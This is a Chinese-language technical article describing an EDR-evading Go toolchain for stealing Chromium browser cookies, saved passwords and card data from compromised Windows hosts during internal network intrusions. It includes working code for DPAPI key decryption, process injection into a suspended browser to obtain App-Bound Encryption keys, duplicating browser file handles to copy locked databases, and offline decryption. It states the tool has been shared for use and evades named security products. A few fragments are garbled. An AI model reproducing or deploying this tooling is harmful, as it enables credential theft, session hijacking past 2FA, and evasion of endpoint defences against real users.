针对浏览器Cookie和密码提取的免杀研究
概述
在实战攻防对抗的过程中,面对的不仅仅只有服务器,还有内网海量的个人主机。而浏览器又作为个人主机重要的日常工作、运维以及娱乐的软件,保存了许多重要网站凭据(如堡垒机、云管理平台、企业面板、OA后台等)。
在实际内网渗透过程中,拿到个人主机的权限(如钓鱼、域控下发)后,个人主机大部分还无法操控鼠标(无RDP服务且会引发目标警觉)以及安装终端防护软件,如何无痕实现针对浏览器中保存的Cookie和账户密码的提取和还原,便成为内网渗透必不可少的一环。
最近就有一个黑暗大门的群友找到我,表示最近在内网渗透过程中,有个重要的凭据存在运维的浏览器中,而目标账号密码又有2FA验证,只能提取Cookie尝试,而该机器上面又安装了EDR,尝试寻找并魔改了一些开源项目都被EDR拦截,想要找我来实现这一个目的。
接到这一个需求后,我自己也在逐步摸索,最终我通过Golang搞定了:Browser DataOut 是一套面向 Chromium 系浏览器(Chrome、Edge、Brave、Opera、360、QQ 等) 数据取证/恢复的 Windows 工具链,由三个独立可编译的 Go 项目组成。
本项目已经提供给不少群友用作测试,目前已经能够稳定在多个杀软和EDR环境下开展作业,如360、火绒、深信服EDR等等。
三个项目解耦、可独立运行,通过统一的数据格式(keys.json + archive 目录布局)无缝衔接,形成一条完整链路:

核心思想是 "密钥与数据分离采集,解密在任意机器完成":
密钥(v10 DPAPI / v20 ABE)都绑定在原机器上,必须在原机器导出;
数据文件(SQLite / JSON)可能被运行中的浏览器独占锁定,需要用特殊手段复制出来;
解密只依赖"密钥 + 数据",两者同源即可在分析机离线完成。
本项目工具涉及的技术栈如下:

BrowserKeysDump:如何拿到密钥
以Chromium为内核的浏览器会把 Cookie、密码、支付信息等敏感数据写入本地SQLite文件(如 Cookies、Login Data ),在这些SQLite文件的 encrypted_value 字段前,会加 3 字节前缀 v10 或 v20,表示后面这段密文是用哪套 os_crypt 方案加密的。真正的密钥则放在用户数据目录下的 Local State(JSON 文件)的 os_crypt 字段里:
v10 →
os_crypt.encrypted_keyv20 →
os_crypt.app_bound_encrypted_key(以APPB开头)
Chrome 80 之后全面转向 v10,Chrome 127(2024 年 7 月)起在 Windows 上引入 v20,即 App-Bound Encryption(应用绑定加密)。

v10/v11/v20密钥的区别如下:
浏览器把加密字段以统一格式存储:
v10密钥:DPAPI 解密
数据层:统一是 AES-256-GCM(AEAD),密文布局为 v10 ‖ 12字节nonce ‖ 密文+16字节GCM校验tag,base64 后入库。
密钥层(各平台不同):
Windows
:
encrypted_key是 base64("DPAPI" + DPAPI加密后的32字节随机key),用当前用户的CryptUnprotectData解出主密钥。macOS
:主密钥存在 Keychain 的 "Chrome Safe Storage" 条目里。
Linux
:优先走 GNOME Keyring / KWallet,取不到时回退到固定参数:口令
"peanuts"+ 盐"saltysalt",PBKDF2-HMAC-SHA1 迭代 1 次派生 16 字节 key,用 AES-128-CBC 加密(这是 v10 在 Linux 上的特殊之处)。
漏洞本质:DPAPI 只把数据绑定到"机器 + 用户",不区分同用户下的进程——任何以你身份运行的程序都能调 CryptUnprotectData 把 key 解出来,这也是各种 cookie 窃取工具的惯用路径。
Chromium 把主密钥放在 Local State 的 os_crypt.encrypted_key 中,外层由 Windows DPAPI 保护:
// 去掉 "DPAPI" 前缀后交给 Windows CryptUnprotectData 解密
func decryptDPAPI(ciphertext []byte) ([]byte, error) {
var out dataBlob
r, _, err := procCryptUnprotectData.Call(
uintptr(unsafe.Pointer(newBlob(ciphertext))),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&out)),
)
if r == 0 {
return nil, fmt.Errorf("CryptUnprotectData: %w", err)
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(out.pbData)))
return out.bytes(), nil
}
结果是一个 32 字节 AES-256 主密钥;
DPAPI 由当前 Windows 用户主密钥解密,换机器/换用户即失效——这正是密钥必须在目标机器导出的原因。
v20密钥:App-Bound Encryption 与反射式注入
v20 的 数据体仍然是 AES-256-GCM,变化在密钥的获取链条:
从 Local State 取出 app_bound_encrypted_key,去掉 APPB 头;
先用 SYSTEM 权限的 DPAPI 解一层(这一层由 SYSTEM 身份运行的 Google Update 提升服务完成,并用 chrome.exe 路径哈希作为 entropy,把密钥"焊死"在官方安装路径上),再用当前用户DPAPI解第二层;
解出的尾部结构为 [Chrome安装路径][1字节flag][12B IV][32B 密文][16B tag],按 flag 选算法再解一刀,得到最终 32 字节主密钥:
flag=1:AES-256-GCM,key 硬编码在 elevation_service.exe;
flag=2:ChaCha20-Poly1305,同样硬编码;
flag=3(v137+):用 CNG 里的 "Google Chromekey1" 解出后 XOR 硬编码常量;
拿到主密钥后,解密 cookie 本体与 v10 完全相同。
Chrome 127+ 的 Cookie 使用 ABE:app_bound_encrypted_key ,只能由浏览器进程内的 IElevator COM 服务解密。工具的做法是把自己的 payload 注入浏览器进程代劳:
func injectPayload(exePath string, payload []byte, env map[string]string) ([]byte, error) {
// 1. 解析 payload 的 PE 导出表,定位 Bootstrap 函数偏移
loaderRVA, _ := findExportFileOffset(payload, "Bootstrap")
// 2. 预填 payload 的导入地址槽(LoadLibraryA/GetProcAddress/VirtualAlloc/...)
writeAddr(impLoadLibraryAOffset, addrLoadLibraryA())
writeAddr(impGetProcAddressOffset, addrGetProcAddress())
// ...
// 3. 以挂起方式启动浏览器(临时 --user-data-dir 隔离)
pi, _, _ := spawnSuspended(exePath)
// 4. 把 payload 写入浏览器进程内存(RWX)
remoteBase, _ := writeRemotePayload(pi.Process, patched)
// 5. 恢复主线程,等待初始化后远程执行 Bootstrap
windows.ResumeThread(pi.Thread)
time.Sleep(500 * time.Millisecond)
runAndWait(pi.Process, remoteBase, loaderRVA, defaultWait)
// 6. 从 scratch 区读回 32 字节主密钥
result, _ := readScratch(pi.Process, remoteBase)
return result.Key, nil
}Payload 与注入器的"通信协议"是 payload 镜像开头的 scratch 区:
偏移 字段
0x28 marker
0x29 status (0x1 = keyStatusReady)
0x2a errCode
0x2c hResult (COM)
0x30 comErr
0x40 32 字节主密钥readScratch 一次 ReadProcessMemory 读 56 字节(0x28→0x60)即可拿到状态与密钥。
ABE 注入深度细节
payload 导入地址槽(编译期约定,注入前预填):
注入器在本进程用 kernel32/ntdll 的 LazyProc.Addr() 解析这些 API 的真实地址,写入 payload 镜像后再 WriteProcessMemory,这样 payload 进入远程进程后无需系统加载器即可调用。
Payload 错误码与 HRESULT 对照:
errCode: 0x1 basename 提取失败 0x2 浏览器不在 com_iid 表
0x3 环境变量缺失/超长 0x4 base64 解码失败
0x5 SysAllocString 失败 0x6 CoCreateInstance 失败
0x7 IElevator.DecryptData 失败 0x8 密钥长度 != 32
hResult: 0x80004002 E_NOINTERFACE 0x80010108 RPC_E_DISCONNECTED
0x80040154 REGDB_E_CLASSNOTREG 0x80070005 E_ACCESSDENIED
0x800706BA RPC_S_SERVER_UNAVAILABLE进程生命周期管理:
spawnSuspended:命令行
"" --user-,CREATE_SUSPENDED启动,用临时User Data避免污染真实配置;
注入
RWX内存(MEM_COMMIT|MEM_RESERVE+PAGE_EXECUTE_READWRITE)这是 EDR 最敏感的信号之一;恢复主线程后等 500 ms(让浏览器完成基础初始化),再
CreateRemoteThread执行Bootstrap,WaitForSingleObject默认 30 s;等待超时且进程仍存活(
STILL_ACTIVE=259)时,日志提示"目标存活,疑似 EDR/AV 拦截";结束后
TerminateProcess+ 2 s 等待,defer兜底清理远程进程与临时目录。
PE 解析要点:
detectPEArch:读
0x3c处 PE 签名偏移,校验PE��,按machine字段区分0x8664(amd64) /0x014c(386),只接受 amd64;findExportFileOffset:PE32+ 可选头从
peOff+24开始,DataDirectory[0](导出表)在可选头偏移 112;遍历节表做 RVA→文件偏移;一个隐蔽细节:
rva - sectVA + sectRaw必须保持 uint32 运算——当rva < sectVA时靠 uint32 回绕得到正确结果,拆成int运算会得到天文数字。
Browser DataCopy:如何复制被锁定的文件
以Chromium为内核的浏览器运行的时候,无法直接通过外部脚本或程序复制 Cookies 等浏览器 数据文件,最核心的原因是对其本地数据库施加了独占式文件锁(Exclusive File Lock)。
独占式进程锁(File Locking):Chrome 的 Cookie 和历史记录等数据本质上是SQLite数据库。当浏览器启动时,它会作为主进程打开这些文件,并对文件施加独占锁。此时,Windows、macOS 或 Linux 的操作系统底层会保护该文件,禁止其他进程进行读取、修改或复制(报错通常为
PermissionError、文件被占用或无法复制)。

Chrome/Edge 用严格的共享模式打开 SQLite,外部进程 CreateFile 请求共享读写时被拒绝,报 ERROR_SHARING_VIOLATION(32)。
两段式复制
先按常规方式复制,失败了再判断是不是锁定错误;如果是,就去找到浏览器已经打开的那个句柄,把它"借"到当前进程来。
func copyFileSmart(src, dst string) error {
if err := copyNormal(src, dst); err == nil {
return nil // 未锁定:普通复制
} else if !isLockError(err) {
return err // 非锁定错误:直接失败
}
// 锁定回退:把浏览器的文件句柄复制进当前进程
h, err := findFileHandle(src)
if err != nil {
return err
}
defer windows.CloseHandle(h)
data, err := readLockedFile(h) // 文件映射读取
if err != nil {
return err
}
return os.WriteFile(dst, data, 0o600)
}句柄复制(核心技巧)
复制的句柄与浏览器共享同一个 FILE_OBJECT,浏览器能读,我们就能读:共享模式限制就此被绕开。
// 1. NtQuerySystemInformation 枚举全系统句柄
handles, _ := querySystemHandles()
// 2. 找到持有目标文件的进程,把句柄复制到当前进程
for _, h := range handles {
process, err := windows.OpenProcess(processDupHandle, false, uint32(h.UniqueProcessId))
if err != nil { continue }
windows.DuplicateHandle(process, windows.Handle(h.HandleValue),
windows.CurrentProcess(), &dup, 0, false, duplicateSameAccess)
// 3. 只保留磁盘文件句柄
if ft, _ := windows.GetFileType(dup); ft != fileTypeDisk { continue }
// 4. 用真实路径匹配目标文件
name, _ := finalPathName(dup)
if pathsMatch(name, targetNorm) { return dup, nil }
}文件映射读取(不干扰浏览器)
不用 ReadFile 的原因:复制的句柄与浏览器共享文件指针,ReadFile 会挪动指针、干扰浏览器;文件映射基于页读取,无副作用。
mapping, _ := windows.CreateFileMapping(h, nil, pageReadonly, 0, 0, nil)
view, _ := windows.MapViewOfFile(mapping, fileMapRead, 0, 0, 0)
// RtlMoveMemory 直接以 uintptr 形式接收映射地址,避免挪动共享文件指针
procRtlMoveMemory.Call(uintptr(unsafe.Pointer(&data[0])), view, uintptr(size))伴生文件
SQLite WAL 模式下最新 数据在 -wal 里。工具对 Cookies、Login Data、History、Web Data 顺带复制 -wal/-shm:
句柄枚举与路径匹配深度细节
SYSTEM_HANDLE_INFORMATION 内存布局(64 位):
偏移 0 ULONG NumberOfHandles
偏移 4 4 字节对齐填充
偏移 8 句柄条目数组,每条 24 字节:
0x00 UniqueProcessId uint16
0x02 CreatorBackTraceIndex uint16
0x04 ObjectTypeIndex uint8
0x05 HandleAttributes uint8
0x06 HandleValue uint16
0x08 Object uintptr
0x10 GrantedAccess uint32枚举信息类
SystemHandleInformation = 0x10;缓冲区从 4 MiB 起步,收到STATUS_INFO_LENGTH_MISMATCH(0xC0000004)时按系统返回的所需长度扩容重试,上限 512 MiB;跳过
pid == 0(System Idle)和pid == 4(System)以及HandleValue == 0;OpenProcess(PROCESS_DUP_HANDLE=0x40)→
DuplicateHandle(…, DUPLICATE_SAME_ACCESS=0x2);GetFileType必须等于
FILE_TYPE_DISK(0x1),排除管道、字符设备等。
路径归一化规则:
normalize: / → ;去掉 \?、??、\. 前缀;去尾部 ;转小写pathsMatch: ① 全路径相等 ② 互为后缀 ③ stableSuffix 相等stableSuffix: 从 appdata / programdata / userspublic 之后截取用"锚点后缀"而非完整路径比较,是为了兼容 GetFinalPathNameByHandle 返回的 \? 前缀、盘符/大小写差异,以及某些句柄返回设备路径(DeviceHarddiskVolume...)的情况。
文件映射读取参数:
CreateFileMapping: PAGE_READONLY(0x2)
MapViewOfFile: FILE_MAP_READ(0x4)
RtlMoveMemory: ntdll 导出,直接以 uintptr 形式接收映射地址GetFileSizeEx 先取大小,超过 512 MiB 拒绝映射;RtlMoveMemory 把映射视图拷入 Go 切片——刻意绕开 uintptr → unsafe.Pointer 转换(go vet 会报 unsafeptr),同时保证不移动浏览器共享的文件指针。
Browser DataRestore:如何离线解密
本工具主要通过读取 BrowserKeysDump 导出的 keys.json,配合从目标机器拷贝出来的浏览器数据(目录或 zip),在任意机器上还原出密码、Cookie、历史记录、书签等,并输出为按类别聚合的 JSON。

在"采集-恢复"链路中,本工具是恢复端:
keys.json ─────────┐
├──▶ BrowserDataRestore ──▶ password.json / cookie.json / ...
浏览器数据拷贝 ─────┘ (离线解密) history.json / bookmark.json ...
特点:
纯标准库
:不依赖外部库、SQLite 驱动、gjson 等任何第三方包;
跨主机
:密钥以静态方式注入,解密不依赖目标机器的 DPAPI;
支持 7 类数据
:password、cookie、history、download、bookmark、creditcard、extension;
密钥静态注入
keys.json 里的 base64 密钥直接解码为 []byte,恢复过程不再调用 DPAPI/ABE:
type MasterKeys struct {
V10 []byte `json:"v10,omitempty"`
V11 []byte `json:"v11,omitempty"`
V20 []byte `json:"v20,omitempty"`
}因此只要密钥与数据同源,在任意机器都能解密。
版本前缀分发解密
Chromium 加密字段统一为 版本前缀(3B) + 密文:
func decryptValue(mk MasterKeys, ciphertext []byte) ([]byte, error) {
switch {
case bytes.HasPrefix(ciphertext, []byte("v10")):
if len(mk.V10) == 32 {
return aesGCMDecrypt(mk.V10, ciphertext) // Windows v10
}
return aesCBCDecrypt(mk.V10, ciphertext) // macOS/Linux v10
case bytes.HasPrefix(ciphertext, []byte("v11")):
return aesCBCDecrypt(mk.V11, ciphertext) // Linux v11
case bytes.HasPrefix(ciphertext, []byte("v20")):
return aesGCMDecrypt(mk.V20, ciphertext) // Chrome 127+ ABE
default:
return ciphertext, nil // 老版本明文
}
}
func aesGCMDecrypt(key, data []byte) ([]byte, error) {
block, _ := aes.NewCipher(key) // 32B key → AES-256
aead, _ := cipher.NewGCM(block) // NonceSize = 12
return aead.Open(nil, data[3:15], data[15:], nil)
}密钥与 数据不匹配时,aead.Open 返回 cipher: message authentication failed,工具会统计失败数并告警,而不是静默输出空值。
七类浏览器数据提取方法
各类数据提取的精确列与排序
logins: origin_url, username_value, password_value, date_created
cookies: name, encrypted_value, host_key, path, creation_utc,
expires_utc, is_secure, is_httponly, has_expires, is_persistent
urls: url, title, visit_count, last_visit_time
downloads: target_path, tab_url, total_bytes, start_time, end_time, mime_type
credit_cards: guid, name_on_card, expiration_month, expiration_year,
card_number_encrypted, nickname, billing_address_id排序策略:password/cookie 按 CreatedAt 降序,history 按 VisitCount 降序,download 按 StartTime 降序,bookmark 按 CreatedAt 降序。
时间转换:Chromium base::Time 是自 1601-01-01 UTC 起的微秒数:
const chromiumEpochOffsetMicros int64 = 11644473600000000
t := time.UnixMicro(epoch - chromiumEpochOffsetMicros).UTC()扩展解析:依次尝试 extensions.settings、settings.extensions、settings.settings 三个 JSON 路径;跳过 location=5/10 的系统组件;启用态优先看 disable_reasons(空数组=启用),否则回退 state==1。